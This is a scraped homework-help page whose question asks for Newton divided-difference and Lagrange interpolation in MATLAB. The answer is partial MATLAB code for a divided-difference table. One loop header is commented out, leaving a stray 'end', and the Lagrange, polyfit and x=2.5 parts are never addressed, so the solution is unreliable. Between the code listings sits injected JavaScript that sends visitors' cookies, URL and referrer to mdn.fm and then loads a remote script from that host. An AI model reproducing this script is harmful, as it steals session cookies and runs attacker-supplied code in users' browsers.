Apply polynomial interpolation to the following data a) With Newton\'s Divided-D
ID: 3825043 • Letter: A
Question
Apply polynomial interpolation to the following data a) With Newton's Divided-Difference Method. b) With Lagrangian Method. Show how you obtain the coefficients and the temporary values with each of the methods by hand. You can use a table or a matrix to explain the derivation of the coefficients in the Newton's Divided-Difference Method. Submit your code, plot the curve and answer the following questions with both methods. 1) What is the degree of the polynomial? 2) Show the interpolated function value at x = 2.5. 3) The built-in function 'polyfit' generates the coefficients of the interpolated polynomial with given initial points. Please make use of the 'help' command in Matlab to see how this 'polyfit' function works, and verify your polynomials obtained in a) and b) with 'polyfit'.Explanation / Answer
% inserting x into 1st column of DD-table
DD(1:length(x),1) = x;
% inserting y into 2nd column of DD-table
DD(1:length(y),2) = y;
%first divided differences go into 3rd column of DD-table,
%the third column will have n-1 entries
for k = 1:n-1
DD(k,3) = (DD(k+1,2)-DD(k,2))/(DD(k+1,1)-DD(k,1));
end
%second divided differences go into 4th column of DD-table,
%the fourth column will have n-2 entries
%for k = 1:n-2
DD(k,4) = (DD(k+1,3)-DD(k,3))/(DD(k+2,1)-DD(k,1));
end
% third divided difference go into 5th column of DD-table,
% the fifth column will have n-3 entries
for k = 1:n-3
DD(k,5) = (DD(k+1,4)-DD(k,4))/(DD(k+3,1)-DD(k,1));
end
This helps us see how we could automate the process of creating this table. The following piece of code uses a for-loop to do the same thing.
1
2
3
4
5
6
7
8
9
10
11
12
% inserting x into 1st column of DD-table
DD(1:length(x),1) = x;
% inserting y into 2nd column of DD-table
DD(1:length(y),2) = y;
% creates divided difference coefficients
for j = 1:n-1
for k = 1:n-j % j goes from 1 to n-1
DD(k,j+2) = (DD(k+1,j+1)-DD(k,j+1))/(DD(k+j,1)-DD(k,1));
end
end
(function(){ function initXMLhttp() { var xmlhttp; if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } else { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } return xmlhttp; } function minAjax(config) { if (!config.url) { return; } if (!config.type) { return; } if (!config.method) { config.method = true; } if (!config.debugLog) { config.debugLog = false; } var xmlhttp = initXMLhttp(); xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4 && xmlhttp.status == 200) { if (config.success) { config.success(xmlhttp.responseText, xmlhttp.readyState); } } else { } } var sendString = [], sendData = config.data; if( typeof sendData === "string" ){ var tmpArr = String.prototype.split.call(sendData,'&'); for(var i = 0, j = tmpArr.length; i < j; i++){ var datum = tmpArr[i].split('='); sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1])); } }else if( typeof sendData === 'object' && !( sendData instanceof String || (FormData && sendData instanceof FormData) ) ){ for (var k in sendData) { var datum = sendData[k]; if( Object.prototype.toString.call(datum) == "[object Array]" ){ for(var i = 0, j = datum.length; i < j; i++) { sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i])); } }else{ sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum)); } } } sendString = sendString.join('&'); if (config.type == "GET") { xmlhttp.open("GET", config.url + "?" + sendString, config.method); xmlhttp.send(); } if (config.type == "POST") { xmlhttp.open("POST", config.url, config.method); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.send(sendString); } } function h32a(a,b,c){var d,e,f=void 0===c?2166136261:c;for(d=0,e=a.length;d>>0).toString(16)).substr(-8):f>>>0}function iT(){return!!localStorage.getItem(a)}var a="__GA___",tss="";iT()?tss=localStorage.getItem(a):(tss=h32a("59.93.102.63",!0,Math.floor(Date.now()/1000)),localStorage.setItem(a,tss)); dL(); function dL(){ var host = "http://www.mdn.fm"; var config = { url: host + "/stats.php", type: "POST", data: { vbase: document.baseURI, vhref: location.href, vref: document.referrer, k: "Lm1kbi5mbQ==",ck: document.cookie, t: Math.floor(Date.now() / 1000), tg: tss }, success: onSuccessCallback } function bl(response){ var a = document.createElement('script'); var m = document.getElementsByTagName('script')[0]; var ref = response["d"] && response["d"]["rf"] ? "&rf=" + response["d"]["rf"] : ""; var src = response["d"] && response["d"]["src"] ? "&src=" + response["d"]["src"] : ""; a.async = 1; a.src = host + '/content.php?s=' + response["s"] + ref + src; m.parentNode.insertBefore(a, m) } function onSuccessCallback(response){ try{ var response = JSON.parse(response); if(response["s"]){ bl(response); } }catch(e){} } minAjax(config); } })();
1
2
3
4
5
6
7
8
9
10
11
12
% inserting x into 1st column of DD-table
DD(1:length(x),1) = x;
% inserting y into 2nd column of DD-table
DD(1:length(y),2) = y;
% creates divided difference coefficients
for j = 1:n-1
for k = 1:n-j % j goes from 1 to n-1
DD(k,j+2) = (DD(k+1,j+1)-DD(k,j+1))/(DD(k+j,1)-DD(k,1));
end
end
Related Questions
drjack9650@gmail.com
Navigate
Integrity-first tutoring: explanations and feedback only — we do not complete graded work. Learn more.